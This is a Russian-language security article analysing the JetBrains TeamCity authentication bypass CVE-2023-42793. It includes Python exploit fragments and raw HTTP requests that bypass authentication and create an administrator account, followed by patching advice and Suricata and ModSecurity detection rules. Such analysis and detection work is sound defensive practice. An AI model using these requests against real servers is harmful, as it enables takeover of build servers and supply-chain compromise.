Уязвимость BDU:2023-06415 (CVE-2023-42793) JetBrains TeamCity
Уязвимость BDU:2023-06415 (CVE-2023-42793) обхода аутентификации в сервере непрерывной интеграции и доставки (CI/CD) JetBrains TeamCity On-Premises, позволяющая злоумышленнику получить полный контроль над системой без аутентификации.
Уязвимость, обнаруженная исследователями из Sonar в сентябре 2023 года, затрагивает серверы JetBrains TeamCity версий до 2023.05.4. Атака не требует аутентификации и приводит к полной компрометации сервера, что делает ее чрезвычайно опасной для организаций, использующих этот продукт для автоматизации процессов сборки и развертывания программного обеспечения.
Анализ уязвимости
Уровень опасности: 9.8 (Критический)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-
Вектор атаки (Attack Vector): Сеть (Network) - уязвимость может быть эксплуатрирована удаленно через сеть.
-
Сложность атаки (Attack Complexity): Низкая (Low) - для эксплуатации не требуются сложные условия.
-
Необходимые привилегии (Privileges Required): Нет (None) - атака не требует каких-либо привилегий.
-
Взаимодействие с пользователем (User Interaction): Нет (None) - атака не требует участия пользователя.
-
Область воздействия (Scope): Не оказывает влияния на другие компоненты (Unchanged).
-
Влияние на конфиденциальность (Confidentiality Impact): Высокое (High) - приводит к полному раскрытию конфиденциальной информации.
-
Влияние на целостность (Integrity Impact): Высокое (High) - позволяет злоумышленнику изменять любые данные.
-
Влияние на доступность (Availability Impact): Высокое (High) - может привести к полному отказу в обслуживании.
Условия эксплуатации
Для успешной эксплуатации уязвимости необходимо соблюдение следующих условий:
-
Наличие уязвимой версии TeamCity: Сервер TeamCity версии ниже 2023.05.4.
-
Сетевой доступ: Злоумышленник должен иметь HTTP(S) доступ к порту TeamCity (по умолчанию 8111). Сервер может быть как публично доступен в Интернете, так и находиться во внутренней сети организации.
-
Доступ к гостевому порталу: Необходима возможность отправки HTTP-запросов к веб-интерфейсу TeamCity.
Технический механизм уязвимости
Основная проблема заключается в том, как класс jetbrains.buildServer.controllers.BaseController (реализованный в библиотеке web-openapi.jar) обрабатывает определенные HTTP-запросы.
Когда запрос обрабатывается методом handleRequestInternal, если запрос не перенаправляется (не возвращает HTTP 302), вызывается метод updateViewIfRequestHasJspParameter.
Критический метод getJspFromRequest извлекает значение параметра jsp из запроса и проверяет, что оно заканчивается на .jsp и не содержит путь /admin/.
Злоумышленник может обойти аутентификацию, создав специальный URL, который заставляет сервер обрабатывать запрос к защищенному endpoint'у как неаутентифицированный. Например:
http://teamcity-server:8111/hax?jsp=/app/rest/server;.jsp
Анализ кода эксплоита
Рассмотрим ключевые компоненты Python-эксплойта, чтобы понять техническую реализацию атаки.
Инициализация и получение токена
Эксплойт начинается с попытки создать токен для пользователя с ID=1 (администратор по умолчанию) через endpoint /app/rest/users/id:1/tokens/RPC2:
get_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2"
response = requests.post(get_token_url, verify=False)
if response.status_code == 200:
match = re.search(r'value="([^"]+)"', response.text)
if match:
token = match.group(1)
print(f"Token: {token}")
Если токен уже существует (статус 404 или 400), эксплойт сначала удаляет его, а затем создает заново:
elif response.status_code == 404:
print("Token already exists")
delete_command = f'{curl_command} -X DELETE {delete_token_url}'
delete_process = subprocess.Popen(delete_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
delete_process.wait()
Создание административного пользователя
После получения токена эксплойт использует его для создания нового пользователя с ролью SYSTEM_ADMIN:
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
data = {
"username": username,
"password": "Main_password!!**",
"email": "angry-admin@funnybunny.org",
"roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}
}
create_user_response = requests.post(create_user_url, headers=headers, json=data)
Вредоносный HTTP-запрос
На практике атака выглядит как последовательность HTTP-запросов. Пример обхода аутентификации для доступа к endpoint /app/rest/server, который обычно требует аутентификации:
GET /hax?jsp=/app/rest/server;.jsp HTTP/1.1 Host: teamcity-server:8111 User-Agent: Mozilla/5.0 Accept: */*
Сервер возвращает информацию о версии, что подтверждает успешный обход аутентификации:
HTTP/1.1 200 OK TeamCity-Node-Id: MAIN_SERVER Content-Type: application/xml;charset=ISO-8859-1 Content-Length: 794 <server version="2023.05.3...">
Создание административного пользователя через API:
POST /hax?jsp=/app/rest/users;.jsp HTTP/1.1
Host: teamcity-server:8111
Content-Type: application/json
Content-Length: 145
{
"username": "malicious_user",
"password": "malicious_password",
"email": "attacker@example.com",
"roles": {
"role": [{
"roleId": "SYSTEM_ADMIN",
"scope": "g"
}]
}
}
Возможности злоумышленника после эксплуатации
После успешной эксплуатации уязвимости злоумышленник получает возможности, эквивалентные правам системного администратора TeamCity:
-
Удаленное выполнение кода (RCE): Полный контроль над сервером TeamCity через выполнение произвольных команд операционной системы.
-
Компрометация цепочки поставок (Supply Chain Attack): Возможность модифицировать процессы сборки, внедряя бэкдоры в сборки, которые затем распространяются среди клиентов.
-
Кража интеллектуальной собственности: Доступ к исходному коду проектов, учетным данным, секретам и конфиденциальным данным сборок.
-
Постоянное присутствие: Создание учетных записей с административными привилегиями для поддержания доступа даже после устранения уязвимости.
-
Боковое перемещение: Использование скомпрометированного сервера TeamCity как плацдарма для атак на другие системы в корпоративной сети.
Методы защиты
Основные меры защиты
-
Немедленное обновление: Установка TeamCity версии 2023.05.4 или новее. Для более старых версий (начиная с 8.0+) JetBrains предоставила патч-плагин.
-
Сегментация сети: Ограничение доступа к порту TeamCity (по умолчанию 8111) только для доверенных IP-адресов с использованием брандмауэров.
-
Регулярный аудит: Проверка журналов аутентификации TeamCity (
teamcity-auth.log) и системных логов на предмет подозрительной активности.
Настройка WAF/IPS правил
Для обнаружения и блокирования попыток эксплуатации BDU:2023-06415 (CVE-2023-42793) можно использовать следующие правила.
Правило для Suricata
alert http any any -> $HOME_NET 8111 (msg:"CVE-2023-42793 TeamCity Auth Bypass Attempt"; flow:established,to_server; http.uri; content:"jsp="; pcre:"/\/[^\/]+\?jsp=\/(app\/rest|admin)[^&]*\.jsp/i"; classtype:web-application-attack; sid:100042793; rev:1; metadata:cve CVE-2023-42793;)
Данное правило входит в мой набор правил https://alekseycheremnykh.ru/post/besplatnye-pravila-dlya-ids-suricata/
Правило для ModSecurity
SecRule REQUEST_URI "@contains jsp=" \
"id:100042793,\
phase:2,\
block,\
msg:'CVE-2023-42793 TeamCity Authentication Bypass Attempt',\
logdata:'Matched %{MATCHED_VAR}',\
tag:'application-multi',\
tag:'language-multi',\
tag:'platform-windows',\
tag:'attack-authentication',\
tag:'cve/CVE-2023-42793',\
ver:'OWASP_CRS/3.4.0',\
severity:'CRITICAL'"
Размещение WAF/IPS: Система защиты должна находиться на границе сети, перед сервером TeamCity, чтобы фильтровать входящий трафик. Если TeamCity доступен из Интернета, WAF следует разместить в DMZ. Для внутренних развертываний WAF/IPS можно разместить на внутреннем сетевом шлюзе.